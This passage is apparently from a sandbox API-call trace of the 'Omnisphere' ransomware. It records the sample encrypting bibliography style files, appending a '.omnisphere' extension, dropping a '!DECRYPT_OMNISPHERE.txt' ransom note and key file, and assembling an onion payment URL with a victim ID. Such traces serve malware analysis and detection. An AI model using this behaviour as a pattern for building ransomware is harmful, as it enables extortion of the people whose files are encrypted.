pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.817] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.823] CryptDestroyKey (hKey=0x16394e8) returned 1 [0090.823] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0090.823] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3d639, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0090.823] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0090.823] GetProcessHeap () returned 0x1600000 [0090.823] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b4) returned 0x1637a68 [0090.823] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl.omnisphere")) returned 1 [0090.838] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.omnisphere.id" [0090.838] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gosttitle.xsl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0090.841] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0090.842] CloseHandle (hObject=0x3c0) returned 1 [0090.842] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0090.843] CloseHandle (hObject=0x288) returned 1 [0090.843] SetEndOfFile (hFile=0x28c) returned 1 [0090.844] FlushFileBuffers (hFile=0x28c) returned 1 [0091.075] CloseHandle (hObject=0x28c) returned 1 [0091.076] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 1 [0091.076] GetProcessHeap () returned 0x1600000 [0091.076] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1685378 [0091.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0091.076] GetProcessHeap () returned 0x1600000 [0091.076] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165ef90 [0091.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165ef90, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0091.076] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0091.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0091.076] GetProcessHeap () returned 0x1600000 [0091.076] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f430 [0091.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f430, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0091.076] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0091.076] GetProcessHeap () returned 0x1600000 [0091.077] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166a1b8 [0091.077] PathCombineW (in: pszDest=0x166a1b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" [0091.077] GetProcessHeap () returned 0x1600000 [0091.077] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x167e4f0 [0091.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0091.077] WriteFile (in: hFile=0x28c, lpBuffer=0x167e4f0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x167e4f0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0091.077] CloseHandle (hObject=0x28c) returned 1 [0091.078] GetProcessHeap () returned 0x1600000 [0091.078] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1685378 | out: hHeap=0x1600000) returned 1 [0091.078] GetProcessHeap () returned 0x1600000 [0091.078] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x16315d0 [0091.078] PathCombineW (in: pszDest=0x16315d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" [0091.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0091.078] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0091.078] CloseHandle (hObject=0x28c) returned 1 [0091.078] GetProcessHeap () returned 0x1600000 [0091.078] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16315d0 | out: hHeap=0x1600000) returned 1 [0091.078] GetProcessHeap () returned 0x1600000 [0091.079] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162ccb8 | out: hHeap=0x1600000) returned 1 [0091.079] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df40d1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2df40d1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2788516, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x45882, dwReserved0=0x0, dwReserved1=0xce, cFileName="HarvardAnglia2008OfficeOnline.xsl", cAlternateFileName="HARVAR~1.XSL")) returned 1 [0091.079] GetProcessHeap () returned 0x1600000 [0091.079] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x16240d8 [0091.080] PathCombineW (in: pszDest=0x16240d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="HarvardAnglia2008OfficeOnline.xsl" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" [0091.080] StrStrW (lpFirst=".omnisphere", lpSrch=".xsl") returned 0x0 [0091.080] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0091.080] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=284802) returned 1 [0091.080] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4535e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0091.080] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.109] GetTickCount () returned 0x1156ed3 [0091.110] GetTickCount () returned 0x1156ed3 [0091.110] GetTickCount () returned 0x1156ed3 [0091.110] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668ac0) returned 1 [0091.111] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0091.111] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0091.111] CryptDestroyKey (hKey=0x16394e8) returned 1 [0091.111] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0091.111] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45882, lpName=0x0) returned 0x288 [0091.111] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45882) returned 0x3c00000 [0091.691] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668d68) returned 1 [0091.692] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0091.693] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.694] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 